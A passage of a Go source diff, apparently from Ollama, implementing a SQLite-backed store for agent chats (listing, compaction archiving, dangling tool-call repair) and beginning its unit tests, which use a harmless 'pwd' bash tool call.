limit = 50
|
||||
}
|
||||
|
||||
query := fmt.Sprintf(`
|
||||
SELECT
|
||||
c.id,
|
||||
c.title,
|
||||
c.created_at,
|
||||
MAX(m.updated_at) AS updated_at,
|
||||
COUNT(m.id) AS message_count,
|
||||
COALESCE(SUM(
|
||||
LENGTH(m.role) +
|
||||
LENGTH(m.content) +
|
||||
LENGTH(m.thinking) +
|
||||
LENGTH(m.tool_name) +
|
||||
LENGTH(m.tool_call_id)
|
||||
), 0) AS approx_bytes,
|
||||
%[1]s AS current_model
|
||||
FROM chats c
|
||||
JOIN messages m ON m.chat_id = c.id AND m.archived = 0
|
||||
WHERE c.source = 'agent'
|
||||
GROUP BY c.id
|
||||
ORDER BY updated_at DESC, MAX(m.id) DESC
|
||||
LIMIT ?
|
||||
`, currentAgentModelSelectExpr("c"))
|
||||
rows, err := s.db.conn.QueryContext(ctx, query, limit)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("list chats: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var summaries []ChatSummary
|
||||
for rows.Next() {
|
||||
var summary ChatSummary
|
||||
var updatedAt string
|
||||
var modelName sql.NullString
|
||||
if err := rows.Scan(&summary.ID, &summary.Title, &summary.CreatedAt, &updatedAt, &summary.MessageCount, &summary.ApproxBytes, &modelName); err != nil {
|
||||
return nil, fmt.Errorf("scan chat summary: %w", err)
|
||||
}
|
||||
if modelName.Valid {
|
||||
summary.Model = modelName.String
|
||||
}
|
||||
summary.UpdatedAt, err = parseAgentSQLiteTime(updatedAt)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse chat updated_at: %w", err)
|
||||
}
|
||||
summaries = append(summaries, summary)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, fmt.Errorf("read chat summaries: %w", err)
|
||||
}
|
||||
|
||||
return summaries, nil
|
||||
}
|
||||
|
||||
func (s *Store) ListUserMessages(ctx context.Context, limit int) ([]string, error) {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
|
||||
rows, err := s.db.conn.QueryContext(ctx, `
|
||||
SELECT content
|
||||
FROM (
|
||||
SELECT id, content
|
||||
FROM messages
|
||||
WHERE role = 'user'
|
||||
AND archived = 0
|
||||
AND TRIM(content) != ''
|
||||
AND content NOT LIKE ?
|
||||
ORDER BY id DESC
|
||||
LIMIT ?
|
||||
)
|
||||
ORDER BY id ASC
|
||||
`, agent.CompactionSummaryMessagePrefix+"%", limit)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("list user messages: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var messages []string
|
||||
for rows.Next() {
|
||||
var content string
|
||||
if err := rows.Scan(&content); err != nil {
|
||||
return nil, fmt.Errorf("scan user message: %w", err)
|
||||
}
|
||||
messages = append(messages, content)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, fmt.Errorf("read user messages: %w", err)
|
||||
}
|
||||
return messages, nil
|
||||
}
|
||||
|
||||
func (s *Store) ArchiveForCompaction(ctx context.Context, chatID string, keepUserTurns int, summary string, continueTask bool) error {
|
||||
return s.archiveForCompaction(ctx, chatID, keepUserTurns, summary, continueTask)
|
||||
}
|
||||
|
||||
func (s *Store) archiveForCompaction(ctx context.Context, chatID string, keepUserTurns int, summary string, continueTask bool) error {
|
||||
if err := s.ensureDB(); err != nil {
|
||||
return err
|
||||
}
|
||||
if chatID == "" {
|
||||
return fmt.Errorf("chat id is required")
|
||||
}
|
||||
if keepUserTurns < 0 {
|
||||
return fmt.Errorf("keep user turns must be non-negative")
|
||||
}
|
||||
if strings.TrimSpace(summary) == "" {
|
||||
return fmt.Errorf("summary is required")
|
||||
}
|
||||
|
||||
tx, err := s.db.conn.BeginTx(ctx, nil)
|
||||
if err != nil {
|
||||
return fmt.Errorf("begin transaction: %w", err)
|
||||
}
|
||||
defer tx.Rollback()
|
||||
|
||||
var keepStartID int64
|
||||
if keepUserTurns == 0 {
|
||||
if err := tx.QueryRowContext(ctx, `
|
||||
SELECT COALESCE(MAX(id) + 1, 0)
|
||||
FROM messages
|
||||
WHERE chat_id = ? AND archived = 0
|
||||
`, chatID).Scan(&keepStartID); err != nil {
|
||||
return fmt.Errorf("find compaction boundary: %w", err)
|
||||
}
|
||||
if keepStartID == 0 {
|
||||
return nil
|
||||
}
|
||||
} else {
|
||||
if err := tx.QueryRowContext(ctx, `
|
||||
SELECT id
|
||||
FROM messages
|
||||
WHERE chat_id = ? AND archived = 0 AND role = 'user'
|
||||
ORDER BY id DESC
|
||||
LIMIT 1 OFFSET ?
|
||||
`, chatID, keepUserTurns-1).Scan(&keepStartID); err != nil {
|
||||
if errors.Is(err, sql.ErrNoRows) {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("find compaction boundary: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
rows, err := tx.QueryContext(ctx, `
|
||||
SELECT m.id
|
||||
FROM messages m
|
||||
WHERE m.chat_id = ? AND m.archived = 0 AND (
|
||||
m.id < ?
|
||||
OR m.tool_name = ?
|
||||
OR EXISTS (
|
||||
SELECT 1 FROM tool_calls tc
|
||||
WHERE tc.message_id = m.id AND tc.function_name = ?
|
||||
)
|
||||
)
|
||||
ORDER BY id ASC
|
||||
`, chatID, keepStartID, agent.CompactionToolName, agent.CompactionToolName)
|
||||
if err != nil {
|
||||
return fmt.Errorf("list archived messages: %w", err)
|
||||
}
|
||||
var archivedIDs []int64
|
||||
for rows.Next() {
|
||||
var id int64
|
||||
if err := rows.Scan(&id); err != nil {
|
||||
rows.Close()
|
||||
return fmt.Errorf("scan archived message id: %w", err)
|
||||
}
|
||||
archivedIDs = append(archivedIDs, id)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
rows.Close()
|
||||
return fmt.Errorf("read archived message ids: %w", err)
|
||||
}
|
||||
rows.Close()
|
||||
if len(archivedIDs) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
idsJSON, err := json.Marshal(archivedIDs)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal archived message ids: %w", err)
|
||||
}
|
||||
|
||||
if _, err := tx.ExecContext(ctx, `
|
||||
INSERT INTO compactions (chat_id, summary, archived_message_ids, created_at)
|
||||
VALUES (?, ?, ?, ?)
|
||||
`, chatID, summary, string(idsJSON), time.Now()); err != nil {
|
||||
return fmt.Errorf("insert compaction: %w", err)
|
||||
}
|
||||
|
||||
if _, err := tx.ExecContext(ctx, `
|
||||
UPDATE messages
|
||||
SET archived = 1
|
||||
WHERE chat_id = ? AND archived = 0 AND (
|
||||
id < ?
|
||||
OR tool_name = ?
|
||||
OR EXISTS (
|
||||
SELECT 1 FROM tool_calls
|
||||
WHERE tool_calls.message_id = messages.id AND tool_calls.function_name = ?
|
||||
)
|
||||
)
|
||||
`, chatID, keepStartID, agent.CompactionToolName, agent.CompactionToolName); err != nil {
|
||||
return fmt.Errorf("archive messages: %w", err)
|
||||
}
|
||||
|
||||
for _, msg := range agent.CompactionSummaryMessages(summary, continueTask) {
|
||||
messageID, err := insertAgentMessage(ctx, tx, chatID, msg, "")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, toolCall := range msg.ToolCalls {
|
||||
if err := insertAgentToolCall(ctx, tx, messageID, toolCall); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
func parseAgentSQLiteTime(value string) (time.Time, error) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" {
|
||||
return time.Time{}, nil
|
||||
}
|
||||
for _, layout := range []string{
|
||||
time.RFC3339Nano,
|
||||
"2006-01-02 15:04:05.999999999-07:00",
|
||||
"2006-01-02 15:04:05.999999999Z07:00",
|
||||
"2006-01-02 15:04:05.999999999",
|
||||
"2006-01-02 15:04:05-07:00",
|
||||
"2006-01-02 15:04:05Z07:00",
|
||||
"2006-01-02 15:04:05",
|
||||
} {
|
||||
t, err := time.Parse(layout, value)
|
||||
if err == nil {
|
||||
return t, nil
|
||||
}
|
||||
}
|
||||
return time.Time{}, fmt.Errorf("unsupported time format %q", value)
|
||||
}
|
||||
|
||||
func latestAgentModelForChat(ctx context.Context, db *sql.DB, chatID string) (string, error) {
|
||||
var modelName string
|
||||
if err := db.QueryRowContext(ctx, `
|
||||
SELECT model_name
|
||||
FROM messages
|
||||
WHERE chat_id = ? AND archived = 0 AND model_name IS NOT NULL AND model_name != ''
|
||||
ORDER BY updated_at DESC, id DESC
|
||||
LIMIT 1
|
||||
`, chatID).Scan(&modelName); err != nil {
|
||||
if errors.Is(err, sql.ErrNoRows) {
|
||||
return "", nil
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
return modelName, nil
|
||||
}
|
||||
|
||||
func currentAgentModelSelectExpr(chatAlias string) string {
|
||||
return fmt.Sprintf(`COALESCE(
|
||||
NULLIF(%[1]s.model_name, ''),
|
||||
(
|
||||
SELECT lm.model_name
|
||||
FROM messages lm
|
||||
WHERE lm.chat_id = %[1]s.id AND lm.archived = 0 AND lm.model_name IS NOT NULL AND lm.model_name != ''
|
||||
ORDER BY lm.updated_at DESC, lm.id DESC
|
||||
LIMIT 1
|
||||
)
|
||||
)`, chatAlias)
|
||||
}
|
||||
|
||||
func messagesContainCompactionSummary(messages []api.Message) bool {
|
||||
for _, msg := range messages {
|
||||
if agent.IsCompactionSummary(msg) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func moveCompactionSummaryBeforeKeptMessages(messages []api.Message) []api.Message {
|
||||
start := -1
|
||||
end := -1
|
||||
for i, msg := range messages {
|
||||
if agent.IsCompactionToolCall(msg) {
|
||||
start = i
|
||||
end = i + 1
|
||||
if end < len(messages) && agent.IsCompactionToolResult(messages[end]) {
|
||||
end++
|
||||
}
|
||||
}
|
||||
if start >= 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
if start <= 0 || end <= start {
|
||||
return messages
|
||||
}
|
||||
|
||||
insertAt := leadingSystemMessageCount(messages[:start])
|
||||
reordered := make([]api.Message, 0, len(messages))
|
||||
reordered = append(reordered, messages[:insertAt]...)
|
||||
reordered = append(reordered, messages[start:end]...)
|
||||
reordered = append(reordered, messages[insertAt:start]...)
|
||||
reordered = append(reordered, messages[end:]...)
|
||||
return reordered
|
||||
}
|
||||
|
||||
func insertCompactionSummaryAfterLeadingSystemMessages(messages, summary []api.Message) []api.Message {
|
||||
insertAt := leadingSystemMessageCount(messages)
|
||||
reordered := make([]api.Message, 0, len(messages)+len(summary))
|
||||
reordered = append(reordered, messages[:insertAt]...)
|
||||
reordered = append(reordered, summary...)
|
||||
reordered = append(reordered, messages[insertAt:]...)
|
||||
return reordered
|
||||
}
|
||||
|
||||
func leadingSystemMessageCount(messages []api.Message) int {
|
||||
for i, msg := range messages {
|
||||
if msg.Role != "system" {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return len(messages)
|
||||
}
|
||||
|
||||
type pendingToolCall struct {
|
||||
key string
|
||||
call api.ToolCall
|
||||
}
|
||||
|
||||
func repairDanglingToolCalls(messages []api.Message) []api.Message {
|
||||
var pending []pendingToolCall
|
||||
pendingByKey := map[string]struct{}{}
|
||||
repaired := make([]api.Message, 0, len(messages))
|
||||
|
||||
flushPending := func() {
|
||||
for _, pendingCall := range pending {
|
||||
if _, ok := pendingByKey[pendingCall.key]; !ok {
|
||||
continue
|
||||
}
|
||||
repaired = append(repaired, api.Message{
|
||||
Role: "tool",
|
||||
Content: "Tool execution interrupted before a result was recorded.",
|
||||
ToolName: pendingCall.call.Function.Name,
|
||||
ToolCallID: pendingCall.call.ID,
|
||||
})
|
||||
}
|
||||
pending = nil
|
||||
pendingByKey = map[string]struct{}{}
|
||||
}
|
||||
|
||||
for _, msg := range messages {
|
||||
if len(pendingByKey) > 0 && msg.Role != "tool" {
|
||||
flushPending()
|
||||
}
|
||||
|
||||
repaired = append(repaired, msg)
|
||||
|
||||
switch msg.Role {
|
||||
case "assistant":
|
||||
for _, call := range msg.ToolCalls {
|
||||
key := agentToolCallKey(call, len(pending))
|
||||
pending = append(pending, pendingToolCall{key: key, call: call})
|
||||
pendingByKey[key] = struct{}{}
|
||||
}
|
||||
case "tool":
|
||||
if key := msg.ToolCallID; key != "" {
|
||||
delete(pendingByKey, key)
|
||||
} else if msg.ToolName != "" {
|
||||
for _, pendingCall := range pending {
|
||||
if pendingCall.call.ID == "" && pendingCall.call.Function.Name == msg.ToolName {
|
||||
delete(pendingByKey, pendingCall.key)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(pendingByKey) == 0 {
|
||||
pending = nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(pendingByKey) > 0 {
|
||||
flushPending()
|
||||
}
|
||||
|
||||
return repaired
|
||||
}
|
||||
|
||||
func agentToolCallKey(call api.ToolCall, index int) string {
|
||||
if call.ID != "" {
|
||||
return call.ID
|
||||
}
|
||||
return fmt.Sprintf("#%d:%s", index, call.Function.Name)
|
||||
}
|
||||
|
||||
func insertAgentMessage(ctx context.Context, tx *sql.Tx, chatID string, msg api.Message, model string) (int64, error) {
|
||||
now := time.Now()
|
||||
modelName := sql.NullString{}
|
||||
if model != "" {
|
||||
modelName = sql.NullString{String: model, Valid: true}
|
||||
}
|
||||
imagesJSON, err := marshalAgentMessageImages(msg.Images)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
result, err := tx.ExecContext(ctx, `
|
||||
INSERT INTO messages (chat_id, role, content, thinking, images, tool_name, tool_call_id, model_name, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`, chatID, msg.Role, msg.Content, msg.Thinking, imagesJSON, msg.ToolName, msg.ToolCallID, modelName, now, now)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("insert message: %w", err)
|
||||
}
|
||||
id, err := result.LastInsertId()
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("get message id: %w", err)
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
|
||||
func marshalAgentMessageImages(images []api.ImageData) (string, error) {
|
||||
if len(images) == 0 {
|
||||
return "[]", nil
|
||||
}
|
||||
data, err := json.Marshal(images)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("marshal message images: %w", err)
|
||||
}
|
||||
return string(data), nil
|
||||
}
|
||||
|
||||
func unmarshalAgentMessageImages(value string) ([]api.ImageData, error) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" || value == "null" {
|
||||
return nil, nil
|
||||
}
|
||||
var images []api.ImageData
|
||||
if err := json.Unmarshal([]byte(value), &images); err != nil {
|
||||
return nil, fmt.Errorf("unmarshal message images: %w", err)
|
||||
}
|
||||
return images, nil
|
||||
}
|
||||
|
||||
func insertAgentToolCall(ctx context.Context, tx *sql.Tx, messageID int64, call api.ToolCall) error {
|
||||
args, err := json.Marshal(call.Function.Arguments)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal tool arguments: %w", err)
|
||||
}
|
||||
_, err = tx.ExecContext(ctx, `
|
||||
INSERT INTO tool_calls (message_id, type, tool_call_id, function_name, function_arguments)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
`, messageID, "function", call.ID, call.Function.Name, string(args))
|
||||
if err != nil {
|
||||
return fmt.Errorf("insert tool call: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func getAgentToolCalls(ctx context.Context, db *sql.DB, messageID int64) ([]api.ToolCall, error) {
|
||||
rows, err := db.QueryContext(ctx, `
|
||||
SELECT tool_call_id, function_name, function_arguments FROM tool_calls WHERE message_id = ? ORDER BY id ASC
|
||||
`, messageID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var calls []api.ToolCall
|
||||
for rows.Next() {
|
||||
var id, name, argsJSON string
|
||||
if err := rows.Scan(&id, &name, &argsJSON); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var args api.ToolCallFunctionArguments
|
||||
if err := json.Unmarshal([]byte(argsJSON), &args); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
calls = append(calls, api.ToolCall{
|
||||
ID: id,
|
||||
Function: api.ToolCallFunction{
|
||||
Name: name,
|
||||
Arguments: args,
|
||||
},
|
||||
})
|
||||
}
|
||||
return calls, rows.Err()
|
||||
}
|
||||
|
||||
func latestCompactionSummary(ctx context.Context, db *sql.DB, chatID string) (string, error) {
|
||||
var summary string
|
||||
if err := db.QueryRowContext(ctx, `
|
||||
SELECT summary
|
||||
FROM compactions
|
||||
WHERE chat_id = ?
|
||||
ORDER BY id DESC
|
||||
LIMIT 1
|
||||
`, chatID).Scan(&summary); err != nil {
|
||||
if errors.Is(err, sql.ErrNoRows) {
|
||||
return "", nil
|
||||
}
|
||||
return "", fmt.Errorf("get latest compaction summary: %w", err)
|
||||
}
|
||||
return summary, nil
|
||||
}
|
||||
|
||||
func maybeSetAgentTitle(ctx context.Context, tx *sql.Tx, chatID string, content string) error {
|
||||
title := strings.TrimSpace(content)
|
||||
if len([]rune(title)) > 64 {
|
||||
title = string([]rune(title)[:64])
|
||||
}
|
||||
_, err := tx.ExecContext(ctx, `
|
||||
UPDATE chats
|
||||
SET title = CASE WHEN title = '' THEN ? ELSE title END
|
||||
WHERE id = ?
|
||||
`, title, chatID)
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,466 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
func newTestAgentStore(t *testing.T) *Store {
|
||||
t.Helper()
|
||||
t.Setenv("HOME", t.TempDir())
|
||||
t.Setenv("LOCALAPPDATA", t.TempDir())
|
||||
store, err := New(filepath.Join(t.TempDir(), "db.sqlite"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
if err := store.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
return store
|
||||
}
|
||||
|
||||
func TestAgentStoreWritesSharedChatRows(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
if err := store.EnsureChat(ctx, "chat-1", ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{Role: "user", Content: "hello from cli"}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
args := api.NewToolCallFunctionArguments()
|
||||
args.Set("command", "pwd")
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{
|
||||
Role: "assistant",
|
||||
Content: "I'll check.",
|
||||
ToolCalls: []api.ToolCall{{
|
||||
ID: "call-1",
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "bash",
|
||||
Arguments: args,
|
||||
},
|
||||
}},
|
||||
}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{
|
||||
Role: "tool",
|
||||
Content: "cwd",
|
||||
ToolName: "bash",
|
||||
ToolCallID: "call-1",
|
||||
}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
agentChat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(agentChat.Messages) != 3 {
|
||||
t.Fatalf("messages = %d, want 3", len(agentChat.Messages))
|
||||
}
|
||||
if agentChat.Title != "hello from cli" {
|
||||
t.Fatalf("title = %q, want %q", agentChat.Title, "hello from cli")
|
||||
}
|
||||
if got := agentChat.Messages[1].ToolCalls[0].Function.Name; got != "bash" {
|
||||
t.Fatalf("tool name = %q, want bash", got)
|
||||
}
|
||||
if got := agentChat.Messages[1].ToolCalls[0].ID; got != "call-1" {
|
||||
t.Fatalf("tool call id = %q, want call-1", got)
|
||||
}
|
||||
if agentChat.Messages[2].Role != "tool" || agentChat.Messages[2].ToolCallID != "call-1" {
|
||||
t.Fatalf("tool result = %#v", agentChat.Messages[2])
|
||||
}
|
||||
|
||||
var source string
|
||||
if err := store.db.conn.QueryRowContext(ctx, `SELECT source FROM chats WHERE id = ?`, "chat-1").Scan(&source); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if source != "agent" {
|
||||
t.Fatalf("source = %q, want agent", source)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreRepairsDanglingToolCallsOnResume(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
args := api.NewToolCallFunctionArguments()
|
||||
args.Set("command", "pwd")
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{Role: "user", Content: "start"}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{
|
||||
Role: "assistant",
|
||||
ToolCalls: []api.ToolCall{{
|
||||
ID: "call-1",
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "bash",
|
||||
Arguments: args,
|
||||
},
|
||||
}},
|
||||
}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{Role: "user", Content: "after restart"}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
agentChat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(agentChat.Messages) != 4 {
|
||||
t.Fatalf("messages = %#v, want synthetic tool result inserted", agentChat.Messages)
|
||||
}
|
||||
repair := agentChat.Messages[2]
|
||||
if repair.Role != "tool" || repair.ToolName != "bash" || repair.ToolCallID != "call-1" || !strings.Contains(repair.Content, "interrupted") {
|
||||
t.Fatalf("repair message = %#v", repair)
|
||||
}
|
||||
if agentChat.Messages[3].Role != "user" || agentChat.Messages[3].Content != "after restart" {
|
||||
t.Fatalf("message after repair = %#v", agentChat.Messages[3])
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreRoundTripsToolMetadataAndImages(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
first := api.ImageData([]byte("first image"))
|
||||
second := api.ImageData([]byte{0, 1, 2, 3})
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{
|
||||
Role: "tool",
|
||||
Content: "tool output",
|
||||
Images: []api.ImageData{first, second},
|
||||
ToolName: "bash",
|
||||
ToolCallID: "call-1",
|
||||
}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
chat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(chat.Messages) != 1 {
|
||||
t.Fatalf("messages = %d, want 1", len(chat.Messages))
|
||||
}
|
||||
msg := chat.Messages[0]
|
||||
if msg.ToolName != "bash" || msg.ToolCallID != "call-1" {
|
||||
t.Fatalf("tool metadata = %#v", msg)
|
||||
}
|
||||
if len(msg.Images) != 2 || !bytes.Equal(msg.Images[0], first) || !bytes.Equal(msg.Images[1], second) {
|
||||
t.Fatalf("images = %#v, want %#v", msg.Images, []api.ImageData{first, second})
|
||||
}
|
||||
|
||||
updated := api.ImageData([]byte("updated image"))
|
||||
if err := store.UpdateLastAgentMessage(ctx, "chat-1", api.Message{
|
||||
Role: "user",
|
||||
Content: "updated",
|
||||
Images: []api.ImageData{updated},
|
||||
}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
chat, err = store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(chat.Messages) != 1 || len(chat.Messages[0].Images) != 1 || !bytes.Equal(chat.Messages[0].Images[0], updated) {
|
||||
t.Fatalf("updated images = %#v", chat.Messages)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreLatestAndListChats(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
if err := store.AppendAgentMessage(ctx, "chat-old", api.Message{Role: "user", Content: "old topic"}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-old", api.Message{Role: "assistant", Content: "old answer"}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-new", api.Message{Role: "user", Content: "new topic"}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-new", api.Message{Role: "assistant", Content: "new answer"}, "qwen3"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
chat, err := store.LatestChat(ctx)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if chat.ID != "chat-new" || chat.Model != "qwen3" {
|
||||
t.Fatalf("latest chat = %#v, want chat-new with qwen3", chat)
|
||||
}
|
||||
|
||||
chat, err = store.LatestChatForModel(ctx, "llama3.2")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if chat.ID != "chat-old" {
|
||||
t.Fatalf("llama latest chat = %q, want chat-old", chat.ID)
|
||||
}
|
||||
if _, err := store.LatestChatForModel(ctx, "missing"); !errors.Is(err, sql.ErrNoRows) {
|
||||
t.Fatalf("missing model err = %v, want sql.ErrNoRows", err)
|
||||
}
|
||||
|
||||
summaries, err := store.ListChats(ctx, 10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(summaries) != 2 {
|
||||
t.Fatalf("summaries = %d, want 2", len(summaries))
|
||||
}
|
||||
if summaries[0].ID != "chat-new" || summaries[0].Title != "new topic" || summaries[0].Model != "qwen3" {
|
||||
t.Fatalf("newest summary = %#v", summaries[0])
|
||||
}
|
||||
if summaries[1].ID != "chat-old" || summaries[1].Model != "llama3.2" {
|
||||
t.Fatalf("older summary = %#v", summaries[1])
|
||||
}
|
||||
|
||||
future := time.Date(2099, 1, 1, 12, 0, 0, 0, time.UTC)
|
||||
if _, err := store.db.conn.ExecContext(ctx, `
|
||||
INSERT INTO chats (id, title, created_at)
|
||||
VALUES (?, ?, ?)
|
||||
`, "chat-archived", "archived topic", future); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := store.db.conn.ExecContext(ctx, `
|
||||
INSERT INTO messages (chat_id, role, content, model_name, created_at, updated_at, archived)
|
||||
VALUES (?, ?, ?, ?, ?, ?, 1)
|
||||
`, "chat-archived", "assistant", "archived answer", "ghost-model", future, future); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
chat, err = store.LatestChat(ctx)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if chat.ID != "chat-new" {
|
||||
t.Fatalf("latest chat = %q, want chat-new after archived future row", chat.ID)
|
||||
}
|
||||
if _, err := store.LatestChatForModel(ctx, "ghost-model"); !errors.Is(err, sql.ErrNoRows) {
|
||||
t.Fatalf("archived model err = %v, want sql.ErrNoRows", err)
|
||||
}
|
||||
summaries, err = store.ListChats(ctx, 10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(summaries) != 2 {
|
||||
t.Fatalf("summaries = %d, want archived-only chat hidden", len(summaries))
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreUpdateLastMessageIgnoresArchivedRows(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{Role: "assistant", Content: "active"}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
future := time.Date(2099, 1, 1, 12, 0, 0, 0, time.UTC)
|
||||
if _, err := store.db.conn.ExecContext(ctx, `
|
||||
INSERT INTO messages (chat_id, role, content, created_at, updated_at, archived)
|
||||
VALUES (?, ?, ?, ?, ?, 1)
|
||||
`, "chat-1", "assistant", "archived", future, future); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := store.UpdateLastAgentMessage(ctx, "chat-1", api.Message{Role: "assistant", Content: "active updated"}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
chat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(chat.Messages) != 1 || chat.Messages[0].Content != "active updated" {
|
||||
t.Fatalf("active messages = %#v, want updated active message only", chat.Messages)
|
||||
}
|
||||
|
||||
var archivedContent string
|
||||
if err := store.db.conn.QueryRowContext(ctx, `
|
||||
SELECT content
|
||||
FROM messages
|
||||
WHERE chat_id = ? AND archived = 1
|
||||
ORDER BY id DESC
|
||||
LIMIT 1
|
||||
`, "chat-1").Scan(&archivedContent); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if archivedContent != "archived" {
|
||||
t.Fatalf("archived content = %q, want archived", archivedContent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreListUserMessages(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
for _, msg := range []api.Message{
|
||||
